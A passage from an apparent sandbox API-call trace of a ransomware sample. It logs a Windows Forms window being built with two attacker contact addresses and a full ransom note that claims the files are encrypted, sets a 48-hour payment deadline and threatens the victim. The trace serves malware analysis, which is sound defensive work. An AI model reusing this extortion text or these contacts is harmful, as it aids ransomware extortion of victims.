| out: lpRect=0x19e0bc) returned 1 [0152.738] GetWindowRect (in: hWnd=0x7004e, lpRect=0x19e0bc | out: lpRect=0x19e0bc) returned 1 [0152.738] GetParent (hWnd=0x7004e) returned 0x40078 [0152.738] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40078, lpPoints=0x19e0bc, cPoints=0x2 | out: lpPoints=0x19e0bc) returned -9961777 [0152.738] SendMessageW (hWnd=0x7004e, Msg=0x2210, wParam=0x4e0001, lParam=0x7004e) returned 0x0 [0152.738] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x2210, wParam=0x4e0001, lParam=0x7004e) returned 0x0 [0152.738] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0152.739] GetParent (hWnd=0x7004e) returned 0x40078 [0152.739] GetCurrentActCtx (in: lphActCtx=0x19e904 | out: lphActCtx=0x19e904*=0xef1264) returned 1 [0152.739] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0152.739] GetClassInfoW (in: hInstance=0x0, lpClassName="EDIT", lpWndClass=0x2fd1888 | out: lpWndClass=0x2fd1888) returned 1 [0152.740] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0152.740] CoTaskMemAlloc (cb=0x54) returned 0xee7fe0 [0152.740] RegisterClassW (lpWndClass=0x19e7b8) returned 0xc174 [0152.741] CoTaskMemFree (pv=0xee7fe0) [0152.741] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0152.741] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="knyaz@cock.li", dwStyle=0x560100c1, X=588, Y=422, nWidth=230, nHeight=30, hWndParent=0x7004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x40210 [0152.741] SetWindowLongW (hWnd=0x40210, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0152.741] GetWindowLongW (hWnd=0x40210, nIndex=-4) returned 1876218976 [0152.741] SetWindowLongW (hWnd=0x40210, nIndex=-4, dwNewLong=88362574) returned 1876218976 [0152.742] GetWindowLongW (hWnd=0x40210, nIndex=-4) returned 88362574 [0152.742] GetWindowLongW (hWnd=0x40210, nIndex=-16) returned 1174470849 [0152.742] GetWindowLongW (hWnd=0x40210, nIndex=-12) returned 0 [0152.742] SetWindowLongW (hWnd=0x40210, nIndex=-12, dwNewLong=262672) returned 0 [0152.742] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0x81, wParam=0x0, lParam=0x19e328) returned 0x1 [0152.744] GetCurrentProcess () returned 0xffffffff [0152.745] GetCurrentProcess () returned 0xffffffff [0152.746] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0x83, wParam=0x0, lParam=0x19e314) returned 0x0 [0152.747] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0x1, wParam=0x0, lParam=0x19e328) returned 0x1 [0152.747] GetCurrentProcess () returned 0xffffffff [0152.747] GetCurrentProcess () returned 0xffffffff [0152.755] SendMessageW (hWnd=0x40210, Msg=0x2111, wParam=0x4000210, lParam=0x40210) returned 0x0 [0152.756] SendMessageW (hWnd=0x40210, Msg=0x2111, wParam=0x3000210, lParam=0x40210) returned 0x0 [0152.756] SendMessageW (hWnd=0x40210, Msg=0x2055, wParam=0x40210, lParam=0x3) returned 0x2 [0152.756] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0152.756] GetWindow (hWnd=0x40210, uCmd=0x3) returned 0x0 [0152.756] GetClientRect (in: hWnd=0x40210, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0152.756] GetWindowRect (in: hWnd=0x40210, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0152.756] GetParent (hWnd=0x40210) returned 0x7004e [0152.756] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19dfe8, cPoints=0x2 | out: lpPoints=0x19dfe8) returned -16187697 [0152.756] GetDC (hWnd=0x0) returned 0x1b010670 [0152.756] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19de84) returned 0x0 [0152.757] CoTaskMemAlloc (cb=0x5c) returned 0xeeafb8 [0152.757] GdipGetLogFontW (font=0x69114e0, graphics=0x6915b28, logfontW=0xeeafb8) returned 0x0 [0152.757] CoTaskMemFree (pv=0xeeafb8) [0152.757] CoTaskMemAlloc (cb=0x5c) returned 0xeeb2f8 [0152.757] CoTaskMemFree (pv=0xeeb2f8) [0152.758] CoTaskMemAlloc (cb=0x5c) returned 0xeeb158 [0152.758] CoTaskMemFree (pv=0xeeb158) [0152.758] GdipDeleteGraphics (graphics=0x6915b28) returned 0x0 [0152.758] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.758] CoTaskMemAlloc (cb=0x5c) returned 0xeeafb8 [0152.758] CreateFontIndirectW (lplf=0xeeafb8) returned 0x390a06f6 [0152.758] CoTaskMemFree (pv=0xeeafb8) [0152.758] SendMessageW (hWnd=0x40210, Msg=0x30, wParam=0x390a06f6, lParam=0x0) returned 0x1 [0152.758] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0x30, wParam=0x390a06f6, lParam=0x0) returned 0x1 [0152.760] SendMessageW (hWnd=0x40210, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0152.760] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0152.760] SetWindowTextW (hWnd=0x40210, lpString="knyaz@cock.li") returned 1 [0152.760] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0xc, wParam=0x0, lParam=0x2fac924) returned 0x1 [0152.760] SendMessageW (hWnd=0x40210, Msg=0x2111, wParam=0x4000210, lParam=0x40210) returned 0x0 [0152.760] SendMessageW (hWnd=0x40210, Msg=0x2111, wParam=0x3000210, lParam=0x40210) returned 0x0 [0152.761] GetSystemMetrics (nIndex=5) returned 1 [0152.761] GetSystemMetrics (nIndex=6) returned 1 [0152.761] SendMessageW (hWnd=0x40210, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0152.761] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0152.761] SendMessageW (hWnd=0x40210, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0152.761] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0152.761] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0x5, wParam=0x0, lParam=0x1a00e2) returned 0x0 [0152.761] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0x3, wParam=0x0, lParam=0x1a8024e) returned 0x0 [0152.761] GetClientRect (in: hWnd=0x40210, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0152.761] GetWindowRect (in: hWnd=0x40210, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0152.761] GetParent (hWnd=0x40210) returned 0x7004e [0152.761] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e040, cPoints=0x2 | out: lpPoints=0x19e040) returned -16187697 [0152.762] SendMessageW (hWnd=0x40210, Msg=0x2210, wParam=0x2100001, lParam=0x40210) returned 0x0 [0152.762] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0x2210, wParam=0x2100001, lParam=0x40210) returned 0x0 [0152.762] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0152.762] GetParent (hWnd=0x40210) returned 0x7004e [0152.762] GetCurrentActCtx (in: lphActCtx=0x19e928 | out: lphActCtx=0x19e928*=0xef1264) returned 1 [0152.762] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0152.762] GetClassInfoW (in: hInstance=0x0, lpClassName="STATIC", lpWndClass=0x2fd1d60 | out: lpWndClass=0x2fd1d60) returned 1 [0152.763] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0152.763] CoTaskMemAlloc (cb=0x58) returned 0xee8280 [0152.763] RegisterClassW (lpWndClass=0x19e7dc) returned 0xc175 [0152.763] CoTaskMemFree (pv=0xee8280) [0152.764] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0152.764] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Support2:", dwStyle=0x5600000d, X=475, Y=426, nWidth=110, nHeight=24, hWndParent=0x7004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x800b0 [0152.764] SetWindowLongW (hWnd=0x800b0, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0152.764] GetWindowLongW (hWnd=0x800b0, nIndex=-4) returned 1876339648 [0152.764] SetWindowLongW (hWnd=0x800b0, nIndex=-4, dwNewLong=88362654) returned 1876339648 [0152.764] GetWindowLongW (hWnd=0x800b0, nIndex=-4) returned 88362654 [0152.764] GetWindowLongW (hWnd=0x800b0, nIndex=-16) returned 1174405133 [0152.764] GetWindowLongW (hWnd=0x800b0, nIndex=-12) returned 0 [0152.764] SetWindowLongW (hWnd=0x800b0, nIndex=-12, dwNewLong=524464) returned 0 [0152.765] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x81, wParam=0x0, lParam=0x19e348) returned 0x1 [0152.765] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x83, wParam=0x0, lParam=0x19e334) returned 0x0 [0152.765] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x1, wParam=0x0, lParam=0x19e348) returned 0x0 [0152.766] GetWindow (hWnd=0x800b0, uCmd=0x3) returned 0x40210 [0152.766] GetClientRect (in: hWnd=0x800b0, lpRect=0x19dff4 | out: lpRect=0x19dff4) returned 1 [0152.766] GetWindowRect (in: hWnd=0x800b0, lpRect=0x19dff4 | out: lpRect=0x19dff4) returned 1 [0152.766] GetParent (hWnd=0x800b0) returned 0x7004e [0152.766] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19dff4, cPoints=0x2 | out: lpPoints=0x19dff4) returned -16187697 [0152.766] SetWindowTextW (hWnd=0x800b0, lpString="Support2:") returned 1 [0152.766] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0xc, wParam=0x0, lParam=0x2fad314) returned 0x1 [0152.767] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x5, wParam=0x0, lParam=0x18006e) returned 0x0 [0152.767] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x3, wParam=0x0, lParam=0x1aa01db) returned 0x0 [0152.767] GetClientRect (in: hWnd=0x800b0, lpRect=0x19e04c | out: lpRect=0x19e04c) returned 1 [0152.767] GetWindowRect (in: hWnd=0x800b0, lpRect=0x19e04c | out: lpRect=0x19e04c) returned 1 [0152.767] GetParent (hWnd=0x800b0) returned 0x7004e [0152.767] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e04c, cPoints=0x2 | out: lpPoints=0x19e04c) returned -16187697 [0152.767] SendMessageW (hWnd=0x800b0, Msg=0x2210, wParam=0xb00001, lParam=0x800b0) returned 0x0 [0152.767] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x2210, wParam=0xb00001, lParam=0x800b0) returned 0x0 [0152.767] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0152.767] GetParent (hWnd=0x800b0) returned 0x7004e [0152.767] GetCurrentActCtx (in: lphActCtx=0x19e904 | out: lphActCtx=0x19e904*=0xef1264) returned 1 [0152.768] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0152.768] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0152.768] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="suporthermes@cock.li", dwStyle=0x560100c1, X=196, Y=422, nWidth=230, nHeight=30, hWndParent=0x7004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x501fe [0152.768] SetWindowLongW (hWnd=0x501fe, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0152.768] GetWindowLongW (hWnd=0x501fe, nIndex=-4) returned 1876218976 [0152.769] SetWindowLongW (hWnd=0x501fe, nIndex=-4, dwNewLong=88362694) returned 1876218976 [0152.769] GetWindowLongW (hWnd=0x501fe, nIndex=-4) returned 88362694 [0152.769] GetWindowLongW (hWnd=0x501fe, nIndex=-16) returned 1174470849 [0152.769] GetWindowLongW (hWnd=0x501fe, nIndex=-12) returned 0 [0152.769] SetWindowLongW (hWnd=0x501fe, nIndex=-12, dwNewLong=328190) returned 0 [0152.769] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501fe, Msg=0x81, wParam=0x0, lParam=0x19e328) returned 0x1 [0152.770] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501fe, Msg=0x83, wParam=0x0, lParam=0x19e314) returned 0x0 [0152.770] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501fe, Msg=0x1, wParam=0x0, lParam=0x19e328) returned 0x1 [0152.771] SendMessageW (hWnd=0x501fe, Msg=0x2111, wParam=0x40001fe, lParam=0x501fe) returned 0x0 [0152.771] SendMessageW (hWnd=0x501fe, Msg=0x2111, wParam=0x30001fe, lParam=0x501fe) returned 0x0 [0152.772] SendMessageW (hWnd=0x501fe, Msg=0x2055, wParam=0x501fe, lParam=0x3) returned 0x2 [0152.772] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0152.772] GetWindow (hWnd=0x501fe, uCmd=0x3) returned 0x800b0 [0152.772] GetClientRect (in: hWnd=0x501fe, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0152.772] GetWindowRect (in: hWnd=0x501fe, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0152.772] GetParent (hWnd=0x501fe) returned 0x7004e [0152.772] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19dfe8, cPoints=0x2 | out: lpPoints=0x19dfe8) returned -16187697 [0152.772] GetDC (hWnd=0x0) returned 0x1b010670 [0152.772] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19de84) returned 0x0 [0152.772] CoTaskMemAlloc (cb=0x5c) returned 0xeeb290 [0152.772] GdipGetLogFontW (font=0x69117d0, graphics=0x6915b28, logfontW=0xeeb290) returned 0x0 [0152.773] CoTaskMemFree (pv=0xeeb290) [0152.773] CoTaskMemAlloc (cb=0x5c) returned 0xeeace0 [0152.773] CoTaskMemFree (pv=0xeeace0) [0152.773] CoTaskMemAlloc (cb=0x5c) returned 0xeeace0 [0152.773] CoTaskMemFree (pv=0xeeace0) [0152.773] GdipDeleteGraphics (graphics=0x6915b28) returned 0x0 [0152.773] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.773] CoTaskMemAlloc (cb=0x5c) returned 0xeeb290 [0152.773] CreateFontIndirectW (lplf=0xeeb290) returned 0x330a06f8 [0152.773] CoTaskMemFree (pv=0xeeb290) [0152.773] SendMessageW (hWnd=0x501fe, Msg=0x30, wParam=0x330a06f8, lParam=0x0) returned 0x1 [0152.773] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501fe, Msg=0x30, wParam=0x330a06f8, lParam=0x0) returned 0x1 [0152.774] SendMessageW (hWnd=0x501fe, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0152.774] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501fe, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0152.774] SetWindowTextW (hWnd=0x501fe, lpString="suporthermes@cock.li") returned 1 [0152.774] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501fe, Msg=0xc, wParam=0x0, lParam=0x2fad910) returned 0x1 [0152.775] SendMessageW (hWnd=0x501fe, Msg=0x2111, wParam=0x40001fe, lParam=0x501fe) returned 0x0 [0152.775] SendMessageW (hWnd=0x501fe, Msg=0x2111, wParam=0x30001fe, lParam=0x501fe) returned 0x0 [0152.775] GetSystemMetrics (nIndex=5) returned 1 [0152.775] GetSystemMetrics (nIndex=6) returned 1 [0152.775] SendMessageW (hWnd=0x501fe, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0152.775] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501fe, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0152.775] SendMessageW (hWnd=0x501fe, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0152.775] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501fe, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0152.776] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501fe, Msg=0x5, wParam=0x0, lParam=0x1a00e2) returned 0x0 [0152.776] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501fe, Msg=0x3, wParam=0x0, lParam=0x1a800c6) returned 0x0 [0152.776] GetClientRect (in: hWnd=0x501fe, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0152.776] GetWindowRect (in: hWnd=0x501fe, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0152.776] GetParent (hWnd=0x501fe) returned 0x7004e [0152.776] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e040, cPoints=0x2 | out: lpPoints=0x19e040) returned -16187697 [0152.776] SendMessageW (hWnd=0x501fe, Msg=0x2210, wParam=0x1fe0001, lParam=0x501fe) returned 0x0 [0152.776] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501fe, Msg=0x2210, wParam=0x1fe0001, lParam=0x501fe) returned 0x0 [0152.776] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501fe, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0152.777] GetParent (hWnd=0x501fe) returned 0x7004e [0152.777] GetCurrentActCtx (in: lphActCtx=0x19e928 | out: lphActCtx=0x19e928*=0xef1264) returned 1 [0152.777] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0152.777] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0152.777] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Support1:", dwStyle=0x5600000d, X=83, Y=426, nWidth=110, nHeight=24, hWndParent=0x7004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x70044 [0152.780] SetWindowLongW (hWnd=0x70044, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0152.780] GetWindowLongW (hWnd=0x70044, nIndex=-4) returned 1876339648 [0152.780] SetWindowLongW (hWnd=0x70044, nIndex=-4, dwNewLong=88362734) returned 1876339648 [0152.780] GetWindowLongW (hWnd=0x70044, nIndex=-4) returned 88362734 [0152.780] GetWindowLongW (hWnd=0x70044, nIndex=-16) returned 1174405133 [0152.780] GetWindowLongW (hWnd=0x70044, nIndex=-12) returned 0 [0152.780] SetWindowLongW (hWnd=0x70044, nIndex=-12, dwNewLong=458820) returned 0 [0152.780] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x70044, Msg=0x81, wParam=0x0, lParam=0x19e348) returned 0x1 [0152.781] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x70044, Msg=0x83, wParam=0x0, lParam=0x19e334) returned 0x0 [0152.781] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x70044, Msg=0x1, wParam=0x0, lParam=0x19e348) returned 0x0 [0152.782] GetWindow (hWnd=0x70044, uCmd=0x3) returned 0x501fe [0152.782] GetClientRect (in: hWnd=0x70044, lpRect=0x19dff4 | out: lpRect=0x19dff4) returned 1 [0152.782] GetWindowRect (in: hWnd=0x70044, lpRect=0x19dff4 | out: lpRect=0x19dff4) returned 1 [0152.782] GetParent (hWnd=0x70044) returned 0x7004e [0152.782] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19dff4, cPoints=0x2 | out: lpPoints=0x19dff4) returned -16187697 [0152.782] SetWindowTextW (hWnd=0x70044, lpString="Support1:") returned 1 [0152.782] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x70044, Msg=0xc, wParam=0x0, lParam=0x2fae2f4) returned 0x1 [0152.782] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x70044, Msg=0x5, wParam=0x0, lParam=0x18006e) returned 0x0 [0152.783] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x70044, Msg=0x3, wParam=0x0, lParam=0x1aa0053) returned 0x0 [0152.783] GetClientRect (in: hWnd=0x70044, lpRect=0x19e04c | out: lpRect=0x19e04c) returned 1 [0152.783] GetWindowRect (in: hWnd=0x70044, lpRect=0x19e04c | out: lpRect=0x19e04c) returned 1 [0152.783] GetParent (hWnd=0x70044) returned 0x7004e [0152.783] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e04c, cPoints=0x2 | out: lpPoints=0x19e04c) returned -16187697 [0152.783] SendMessageW (hWnd=0x70044, Msg=0x2210, wParam=0x440001, lParam=0x70044) returned 0x0 [0152.783] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x70044, Msg=0x2210, wParam=0x440001, lParam=0x70044) returned 0x0 [0152.783] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x70044, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0152.783] GetParent (hWnd=0x70044) returned 0x7004e [0152.783] GetCurrentActCtx (in: lphActCtx=0x19e904 | out: lphActCtx=0x19e904*=0xef1264) returned 1 [0152.784] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0152.784] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0152.784] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="Good day!!!\r\n\r\nAll files on your computer are encrypted.\r\nDecoding files is only possible with our help !!!\r\n\r\nYou need to pay within 48 hours to decrypt your\r\nfiles in accordance with the tariff of your country.\r\nTariffs are indicated in the window from the left !!!\r\nAnd contact us after paying for your individual decryption key by contact below:\r\n\r\nIf this does not happen then after 72 hours all your files will be lost.\r\nIn addition, we use your computer in their illegal actions.\r\nAnd how much your computer is bought by you and in accordance with your legislation\r\ncountry is your property.\r\nAnd you will be criminally responsible for our actions)))\r\n\r\nHurry to pay", dwStyle=0x56210045, X=196, Y=6, nWidth=621, nHeight=321, hWndParent=0x7004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x80016 [0152.784] SetWindowLongW (hWnd=0x80016, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0152.784] GetWindowLongW (hWnd=0x80016, nIndex=-4) returned 1876218976 [0152.785] SetWindowLongW (hWnd=0x80016, nIndex=-4, dwNewLong=88362774) returned 1876218976 [0152.785] GetWindowLongW (hWnd=0x80016, nIndex=-4) returned 88362774 [0152.785] GetWindowLongW (hWnd=0x80016, nIndex=-16) returned 1176567877 [0152.785] GetWindowLongW (hWnd=0x80016, nIndex=-12) returned 0 [0152.785] SetWindowLongW (hWnd=0x80016, nIndex=-12, dwNewLong=524310) returned 0 [0152.785] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x81, wParam=0x0, lParam=0x19e328) returned 0x1 [0152.786] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x83, wParam=0x0, lParam=0x19e314) returned 0x0 [0152.787] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x1, wParam=0x0, lParam=0x19e328) returned 0x1 [0152.788] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x7c, wParam=0xfffffff0, lParam=0x19dd14) returned 0x0 [0152.788] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x7d, wParam=0xfffffff0, lParam=0x19dd14) returned 0x1 [0152.809] GetCurrentProcess () returned 0xffffffff [0152.810] GetCurrentProcess () returned 0xffffffff [0152.811] GetCurrentProcess () returned 0xffffffff [0152.812] GetCurrentProcess () returned 0xffffffff [0152.813] GetCurrentProcess () returned 0xffffffff [0152.814] GetCurrentProcess () returned 0xffffffff [0152.815] GetCurrentProcess () returned 0xffffffff [0152.873] GetWindow (hWnd=0x80016, uCmd=0x3) returned 0x70044 [0152.873] GetClientRect (in: hWnd=0x80016, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0152.873] GetWindowRect (in: hWnd=0x80016, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0152.873] GetParent (hWnd=0x80016) returned 0x7004e [0152.873] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19dfe8, cPoints=0x2 | out: lpPoints=0x19dfe8) returned -16187697 [0152.873] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0152.873] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0152.873] GetSystemMetrics (nIndex=42) returned 0 [0152.873] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dea4, nMaxCount=1 | out: lpString="") returned 0 [0152.873] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dea4) returned 0x0 [0152.874] GetDC (hWnd=0x0) returned 0x1b010670 [0152.874] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19de84) returned 0x0 [0152.874] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0152.874] GdipGetLogFontW (font=0x6911820, graphics=0x6915b28, logfontW=0xeeb088) returned 0x0 [0152.874] CoTaskMemFree (pv=0xeeb088) [0152.874] CoTaskMemAlloc (cb=0x5c) returned 0xeeace0 [0152.874] CoTaskMemFree (pv=0xeeace0) [0152.874] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0152.874] CoTaskMemFree (pv=0xeeb088) [0152.874] GdipDeleteGraphics (graphics=0x6915b28) returned 0x0 [0152.874] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.875] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0152.875] CreateFontIndirectW (lplf=0xeeb088) returned 0x8f0a068c [0152.875] CoTaskMemFree (pv=0xeeb088) [0152.875] SendMessageW (hWnd=0x80016, Msg=0x30, wParam=0x8f0a068c, lParam=0x0) returned 0x1 [0152.875] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x30, wParam=0x8f0a068c, lParam=0x0) returned 0x1 [0152.894] SetWindowTextW (hWnd=0x80016, lpString="Good day!!!\r\n\r\nAll files on your computer are encrypted.\r\nDecoding files is only possible with our help !!!\r\n\r\nYou need to pay within 48 hours to decrypt your\r\nfiles in accordance with the tariff of your country.\r\nTariffs are indicated in the window from the left !!!\r\nAnd contact us after paying for your individual decryption key by contact below:\r\n\r\nIf this does not happen then after 72 hours all your files will be lost.\r\nIn addition, we use your computer in their illegal actions.\r\nAnd how much your computer is bought by you and in accordance with your legislation\r\ncountry is your property.\r\nAnd you will be criminally responsible for our actions)))\r\n\r\nHurry to pay") returned 1 [0152.894] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0xc, wParam=0x0, lParam=0x2faece8) returned 0x1 [0152.895] GetSystemMetrics (nIndex=5) returned 1 [0152.895] GetSystemMetrics (nIndex=6) returned 1 [0152.895] SendMessageW (hWnd=0x80016, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0152.895] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0152.895] SendMessageW (hWnd=0x80016, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0152.896] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0152.896] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x5, wParam=0x0, lParam=0x13d0258) returned 0x1 [0152.897] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x3, wParam=0x0, lParam=0x800c6) returned 0x0 [0152.897] GetClientRect (in: hWnd=0x80016, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0152.897] GetWindowRect (in: hWnd=0x80016, lpRect=0x19e040 | out: 